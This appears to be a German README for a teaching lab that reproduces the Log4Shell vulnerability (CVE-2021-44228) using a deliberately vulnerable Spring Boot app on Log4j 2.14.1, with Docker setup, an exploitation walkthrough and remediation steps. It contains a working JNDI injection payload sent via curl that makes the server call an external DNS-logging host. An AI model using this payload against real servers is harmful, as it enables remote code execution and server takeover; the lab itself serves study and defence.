🔓 Demonstration der Log4Shell-Schwachstelle (CVE-2021-44228)

Dieses Projekt ist eine kontrollierte Testumgebung, mit der sich die kritische Schwachstelle Log4Shell (CVE-2021-44228) in der Bibliothek Apache Log4j reproduzieren und verstehen lässt.

📁 Projektarchitektur

Secutp1/
├── Dockerfile                           # Construction de l'image Docker
├── pom.xml                              # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md                            # Ce fichier
└── src/
    └── main/
        └── java/
            └── com/
                └── example/
                    └── VulnerableApplication.java   # Application Spring Boot vulnérable

🎯 Zielsetzung

Demonstrieren, wie ein Angreifer die Schwachstelle CVE-2021-44228 ausnutzen kann, um einen Server dazu zu zwingen, eine nicht autorisierte ausgehende Netzwerkverbindung herzustellen, indem er lediglich eine bösartige Zeichenkette sendet.

🔍 Analyse des anfälligen Codes

1. Verwaltung der Abhängigkeiten (pom.xml)

Die Datei pom.xml erzwingt die Verwendung von Log4j 2.14.1, einer Version, die älter ist als der Sicherheitspatch:

<log4j2.version>2.14.1</log4j2.version>

Diese Version enthält die standardmäßig aktivierte Klasse JndiLookup, die die Wurzel des Problems ist.

2. Java-Anwendung (VulnerableApplication.java)

Die Anwendung stellt einen REST-Webdienst bereit. Die Schwachstelle befindet sich in der Methode index:

@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
    // LA LIGNE VULNÉRABLE :
    logger.info("Requête reçue, input : " + input);
    return "Bonjour ! Votre input a été loggé : " + input;
}

Problem: Die Anwendung übernimmt einen Benutzerparameter (input) und übergibt ihn ohne jegliche Filterung direkt an logger.info(). Log4j interpretiert den Inhalt daraufhin als potenziellen Befehl.

3. Docker-Infrastruktur (Dockerfile)

Das Dockerfile verwendet einen Build in zwei Schritten:

• Schritt 1: Kompilierung mit Maven (maven:3.8.4-openjdk-11)
• Schritt 2: Ausführung mit eclipse-temurin:11-jre

💡 Die Verwendung von Java 11 ist relevant, da neuere Versionen das Laden entfernter Klassen standardmäßig einschränken.

⚙️ Angriffsmechanismus

Die Ausnutzung beruht auf der JNDI-Injektion (Java Naming and Directory Interface):

1. Log4j erkennt die Syntax ${jndi:protocole://url} in den Logs
2. Er versucht dynamisch, eine Verbindung zur angegebenen URL herzustellen
3. In einem realen Szenario ermöglicht dies das Herunterladen und Ausführen einer bösartigen Java-Klasse (RCE)

🧪 Ausnutzung Schritt für Schritt

Schritt 1: Vorbereitung

Stellen Sie sicher, dass sich die folgenden Dateien im selben Ordner befinden:

• Dockerfile
• pom.xml
• src/main/java/com/example/VulnerableApplication.java

Schritt 2: Erstellen des Docker-Images

docker build -t vulnerable-app .

Dieser Befehl lädt die Maven-Abhängigkeiten (Log4j 2.14.1) herunter und erstellt das Image.

Schritt 3: Starten des Containers

docker run -p 8080:8080 --name demo-log4j vulnerable-app

Die Anwendung lauscht nun auf Port 8080.

Schritt 4: Vorbereitung des Beobachters (Listener)

1. Besuchen Sie einen DNS-Logging-Dienst:

   • dnslog.cn
   • dnslog.org
   • Burp Collaborator

2. Kopieren Sie die bereitgestellte Adresse (z. B. mon-test.dnslog.cn)

Schritt 5: Injektion des Payloads

Öffnen Sie ein neues Terminal und führen Sie den folgenden Befehl aus:

curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"

📝 Hinweis: Das Zeichen \ dient dazu, das $ im Terminal zu escapen.

Schritt 6: Überprüfung

Kehren Sie zur dnslog-Website zurück. Sie werden sehen, wie eine DNS-Anfrage erscheint, was bestätigt, dass der Server den injizierten Code ausgeführt hat.

📊 Erwartetes Ergebnis

🚨 Fazit

Der Server hat eine ausgehende Verbindung zu einer externen Maschine hergestellt, nur indem er eine Benutzeranfrage protokolliert hat.

In einem realen Szenario hätte diese Verbindung Folgendes ermöglicht:

• Das Herunterladen einer bösartigen Java-Klasse
• Das Ausführen von beliebigem Code (RCE - Remote Code Execution)
• Die Übernahme der vollständigen Kontrolle über den Server

🛡️ Behebung

So beheben Sie diese Schwachstelle:

1. Log4j aktualisieren auf Version 2.17.1 oder höher
2. JNDI-Lookups deaktivieren: -Dlog4j2.formatMsgNoLookups=true
3. Die Klasse JndiLookup aus dem Klassenpfad entfernen

📚 Referenzen

• CVE-2021-44228 - NVD
• Apache Log4j Security Vulnerabilities
• ANSSI - Log4Shell-Schwachstelle

📜 Lizenz

Dieses Projekt wird ausschließlich zu Bildungszwecken bereitgestellt. Verwenden Sie es verantwortungsvoll und ethisch.